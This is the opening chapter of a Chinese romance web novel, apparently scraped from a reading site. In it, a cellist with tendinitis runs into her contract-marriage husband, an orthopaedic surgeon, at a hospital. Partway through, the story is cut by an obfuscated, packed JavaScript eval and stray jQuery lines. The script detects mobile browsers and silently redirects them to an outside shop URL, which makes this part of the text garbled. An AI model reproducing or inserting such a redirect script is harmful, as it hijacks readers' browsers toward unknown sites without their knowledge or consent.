文趣网 > 都市小说 > 春序迟迟 > 1. 01
    《春序迟迟》

    文/悸尧

    2025.09.13

    -

    三月初,暴雨过境,春寒料峭。

    医院大厅里人来人往,数不清的声响混杂在一起,喧闹非常。候诊区人满为患,杭今意靠坐在角落的铁质长椅上,细软的长发随意散落肩头,眉眼透出些倦意。

    昨晚熬夜改曲,今天又不得不早起来医院,她现在实在打不起精神。

    正对面的电子屏上显示着候诊名单,杭今意抬眼找着自己的名字,左手指腹在右手腕上轻轻按揉,那处的痛感却依旧强烈。

    她的手腕是以前练琴过度留下的老毛病,静养了好几年后本来已经好转,但前几天工作室有首曲子需要段大提琴间奏,一时间没找到合适的乐手,她只好拾起琴弦重操旧业。

    最开始想的是只拉一小段应该没太大问题,但杭今意忽略了自己吹毛求疵的坏毛病,结果就是一段十几秒的间奏她录了百十来遍,手腕劳累过度,不出所料地旧病复发。

    等杭今意终于在密密麻麻的文字中找到自己的名字时,那行字恰好跳动了下,往上挪了两排。紧接着,广播里传来提示音:

    “请12号杭今意到四号诊室就诊。”

    四号诊室在走廊最靠里的位置,房间里开了空调,比外面温暖不少。杭今意拢了拢身上的针织衫,走到诊桌前坐下。

    医生是个跟她年纪相仿的青年男性,她详细描述了下自己的病症,果不其然被告知是腱鞘炎复发。

    休养的注意事项她已经听过很多遍,无非就是好好休息、避免手腕用力过度,她几乎能倒着背出来,但出于礼貌还是认真听医生叮嘱完。

    末了,医生又给她开了些治疗和止痛的药物,撕下那页处方笺递给她。

    “在一楼药房缴费取药。”

    杭今意点头接过,起身时向他道了声谢。

    刚走出诊室,手机振动几下,显示有来电。杭今意看了眼来电人,走到安静的角落接通电话。

    “喂,苏尹姐。”

    她手伤的事没有告诉其他人,因此苏尹这会儿应该以为她还在家。

    “今意,你凌晨发过来的那版曲子过了,谢天谢地。”苏尹语气略显放松,很快又补充道:“但合作方那边还是催得很紧,编曲得争取在这周内完成,你下午有空的话就过来工作室吧。”

    好消息紧跟着一个坏消息,连个缓冲时间都没有,不过接触这行久了,杭今意早已习以为常。

    “有空的。”她向电话那头的人回话,又约好具体时间,“那下午见。”

    .

    已经到了门诊下班时间,行色匆匆的外卖员挤着电梯上来,提着几盒外卖放在护士站的长桌上。医护人员拎着午餐回到科室,趁着这点儿时间忙里偷闲刷刷手机。

    杭今意挂断电话往回走,准备抓紧时间下楼拿药。

    经过方才就诊的四号诊室时,紧闭的房门突然从里打开,发出一声响。杭今意恰好靠着墙走,听到动静下意识转头看去。

    开门的男人穿一身白大褂,身形高挺,略微低垂的眼在察觉到跟前有人时忽地抬起,眼神凌厉且淡漠,跟她好奇的视线撞了个正着。

    这一眼压迫感太强,杭今意条件反射似的垂眼避开,看清了他挂在左胸前的工作牌。

    胸牌左侧是张白底的证件照,照片应该是几年前拍的,相比眼前的人略显青涩,眉眼透出的深邃凌厉却分毫未改。右侧则是短短几行文字——南临市第一人民医院,骨科主治医师,谢既则。

    看到这个熟悉的名字,杭今意才猛地回过神来,抬眸再次看向男人,开口跟他打招呼,“谢先生。”

    谢既则一瞬不瞬地注视着她,眼神较方才柔和了不少,他还没来得及回话,之前替她看诊的程朗从后面探出个头来。

    程朗似乎没听清她具体说了什么,只发觉两人在交谈,于是好奇道:“谢医生,你朋友啊?”

    这话直接问的谢既则,杭今意不好插嘴,只安静等着面前的人回答,以他的性子,多半淡淡回个“嗯”。

    可下一秒,谢既则收回一点视线,出声回答身后的人。

    “我太太。”

    杭今意闻言一怔。

    这回答从客观来讲没任何问题,但完完全全在杭今意意料之外。毕竟他们只是为了应付家里长辈协议结婚,在其他人面前完全没必要坦白这层亦真亦假的关系。

    程朗同样愣了愣,反应过来后一脸“吃到大瓜了”的表情。

    “原来是谢医生的夫人,久仰大名久仰大名。”

    久仰大名并非客套话。

    一周前,一名骨折患者康复离院时向谢既则询问联系方式,希望他能给一个进一步接触了解的机会。女孩抬起头看他,嘴角带笑,亮晶晶的眼里满是期待。

    谢既则相貌出众,对待病人又细心尽责,这种事已经不是第一次发生,一旁竖着耳朵偷听的医生护士们对此并不意外。

    他们在心里默默替女孩儿哀悼——应该又要收到那句“我没有谈恋爱的打算”的固定托词了。

    “抱歉。”他果然开口拒绝,但紧接着的那句话却如平地一声雷,“我已经结婚了。”

    之后的短短几小时内,高岭之花谢医生已婚的消息便传遍了整个科室,所有人都对他这个突如其来的结婚对象好奇无比。

    杭今意并不知道这件事,自然也就没听出他这句话里的深意,更何况她现在满脑子都是谢既则刚才那句介绍,无暇去想其他。

    见她神情不太自然,程朗以为是自己在这儿让她有些放不开,立马识趣道:“那我先去吃饭了,你们聊。”

    说完,他步伐很快地从两人身旁溜走。

    四周的空气顿时安静下来,尴尬气氛到达顶峰。

    最后还是谢既则先开口。

    “哪里不舒服吗?”他看着杭今意手里的处方单,很快又问,“来医院怎么没跟我说一声?”

    他是医生,也是杭今意新婚不久的丈夫,生病了于情于理似乎都确实应该告诉他。

    但杭今意清楚地明白,从认识到现在两人不过也就见了几面,只是为了应付催婚领了一纸结婚证,相互并不了解更没有半分感情。

    因此配合着在长辈面前扮好新婚夫妻的角色就行,其余时间她不该越界地去麻烦打扰。

    “小毛病。”她回答道,“吃几天药就好了。”

    谢既则闻言却是十分自然地从她手里接过单子,仔细看了看上面的病情诊断,“嗯,那你先在诊室休息一会儿,我去拿药。”

    “不用……我自己去吧。”

    “我比较熟悉路,很快就回来。”

    这话有理有据,杭今意一时没想到该怎么回绝,只愣愣地看着谢既则朝电梯口走。

    一班电梯恰好抵达,下行键闪烁两下后熄灭。谢既则进了电梯,转过身来,两人的视线隔着不近不远的距离对上。

    杭今意如梦初醒,飞快垂下头进了诊室。

    -

    短时间内第二次进入这间诊室,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585998|205264||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    杭今意仍觉得有些不真实,与方才相比唯一的区别是诊桌对面并没有医生,她坐下后总感觉别扭。

    房间面积不大,左侧墙上挂着所有在这间诊室轮班门诊的医生信息。谢既则排在第一行第三个,图像依旧是那张旧照片,但旁边附上了个人简介,从学历信息到临床经验,极为详细。

    其实婚前谢既则曾给过她一份个人资料,但她只大概看过一次,仅仅记得他的职业是医生,全然不知他恰好就在这家医院的骨科工作,这才导致了今天的尴尬相遇。

    这会儿刚好不知道该做些什么,想着多了解一点也更好,杭今意索性起身走到信息栏前,逐字逐句看完那段密密麻麻的文字。

    读到“本硕博连读,毕业于京盛大学”时,杭今意有一瞬间的晃神。

    如果不是当年的事,她或许也会去这所学校。

    “在看我的介绍吗?”

    身后突然响起的问话声打断了杭今意的思绪,她有些懵地转过身,发觉谢既则不知何时已经走到她身后。她看得太入神,竟然也没听到脚步声。

    已经被发现,她只能硬着头皮给出颇为生硬的回答:“嗯……谢医生很优秀很厉害。”

    话音落下,面前的谢既则似乎是很淡地笑了一下,但笑容转瞬即逝,杭今意几乎怀疑是自己看错了。

    她垂下眼,看见谢既则手里提着的一袋药,连忙转移话题,“麻烦你了,药给我吧。”

    谢既则并未马上递给她,而是走到诊桌前,“先过来坐。”

    杭今意本来打算取了药就离开,这下满是不解,但还是听他的话坐下了。

    “单子上有服药医嘱,每种药记得对照着吃。”

    杭今意闻言点点头,心想谢既则未免太细心,这种简单的事其实不用提醒的。

    随后,她看见谢既则从袋子里拿出一盒长条型的药,打开包装,又垂下眼看她,“手递给我。”

    “嗯?”她这次是彻底疑惑了,试探着慢吞吞伸出自己的右手。谢既则很轻地托住她的手腕,稍微转动了点方向,她能很清晰地感受到手指贴在皮肤上的温热触感。

    下一瞬,冰凉的药膏覆上受伤的腕骨,刺得她下意识想缩回手。谢既则手指轻轻扣了下,另只手手掌按揉着伤处,将药膏一点点抹散。

    “是这里吗?”

    他站在杭今意身侧,手上动作没停,出声询问她。

    杭今意不太适应和别人这么近的接触,一时话都有点儿说不出来,很小声地回了句“嗯”。

    好在谢既则没再继续说什么,安静专注地低头替她揉了好几分钟,她感觉那处皮肤都被摩擦得泛起热意,他才终于停下。

    “这个药记得要多抹一会儿,完全揉开才有效。”谢既则叮嘱她,把药装好放回袋子里。

    “好的……我记住了。”

    原来刚才是为了演示一下教她怎么涂药。

    杭今意提着药站起身,谢既则正背对着她在洗手台前洗手,她组织了下语言,铺垫告别的话,“谢医生,今天真的麻烦你了,谢谢。”

    想到马上可以离开,她语气都有些如释重负。

    谢既则用毛巾擦干净手,脱下白大褂挂在门口的架子上,换上一身黑色风衣。风衣衣型挺阔,简约的款式穿在他身上衬出冷然的气质,更显身形挺拔。

    杭今意不自觉看出了神,直到谢既则转过身她才匆忙收回视线。谢既则眉梢间闪过微不可查的笑意,朝她走来,语气自然道:

    “那作为谢礼,一起吃个午饭?”